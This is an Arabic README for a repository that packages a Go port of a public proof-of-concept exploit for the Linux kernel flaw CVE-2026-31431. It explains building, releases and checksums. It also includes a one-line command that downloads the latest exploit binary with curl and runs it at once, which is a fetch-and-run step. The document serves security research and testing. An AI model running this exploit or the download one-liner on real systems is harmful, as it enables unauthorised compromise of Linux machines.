
إثبات مفهوم ثابت بلغة Go لثغرة CVE-2026-31431، يستغل Linux AF_ALG و splice(2) لتفعيل الثغرة. يوفر ملفات ثنائية مبنية مسبقًا لمعماريات amd64 و arm64 و 386.
يحتوي هذا المستودع على نسخة Go من إثبات المفهوم (PoC) العام بلغة بايثون من
theori-io/copy-fail-CVE-2026-31431.
البرنامج مخصص لنظام لينكس فقط. يستخدم واجهة AF_ALG في لينكس، ورسائل التحكم AEAD،
وsplice(2) للحفاظ على سلوك إثبات المفهوم الأصلي مع البناء كملف ثنائي Go ثابت وصغير الحجم.
يتم إنشاء إصدارات الإصدار (Release) من أجل:
linux/amd64linux/arm64linux/386يضم كل ملف ثنائي حمولة ELF لنفس البنية المستهدفة.
لا يتم نشر إصدارات macOS وWindows عمدًا لأن إثبات المفهوم يعتمد على واجهات نواة خاصة بلينكس.
تنشر إصدارات الوسوم (Tags) ملفات ثنائية ثابتة مضغوطة وملف قوائم المجاميع الاختبارية:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMSتحقق من الأداة التي تم تنزيلها باستخدام:
sha256sum -c SHA256SUMS
المتطلبات:
قم ببناء بنية المضيف الحالية:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
بناء متقاطع لهدف لينكس:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
قيم GOARCH المدعومة هي amd64 وarm64 و386.
تشغيل الاختبارات:
go test ./...
go vet ./...
تغطي الاختبارات فقط منطق المساعدات غير المدمرة. لا تنفذ مسار تشغيل إثبات المفهوم.
شغّل الملف الثنائي على نظام لينكس تملكه أو لديك إذن صريح لاختباره:
./copy-fail-poc-linux-*
تحميل وتشغيل الإصدار بسطر واحد:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
يعتمد السلوك على نواة الهدف وتكوين النظام المحلي. لا يضمن الملف الثنائي نجاح الاستغلال على كل نظام لينكس.
يعمل سير عمل GitHub Actions على الوسوم المطابقة لـv* ويمكن أيضًا تشغيله
يدويًا من تبويب Actions.
إنشاء إصدار:
git tag v0.1.0
git push origin v0.1.0
بالنسبة لبناءات الوسوم، ينشئ سير العمل إصدار GitHub ويرفع أصول لينكس
بالإضافة إلى SHA256SUMS. بالنسبة للتشغيل اليدوي، تتوفر الأصول من
تشغيل سير العمل.
يُقدَّم هذا المشروع لأغراض البحث الأمني المصرح به، والتحقق الدفاعي، والمراجعة التعليمية فقط. لا تقم بتشغيله على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. أنت مسؤول عن الامتثال لجميع القوانين والعقود والسياسات المعمول بها.
theori-io/copy-fail-CVE-2026-31431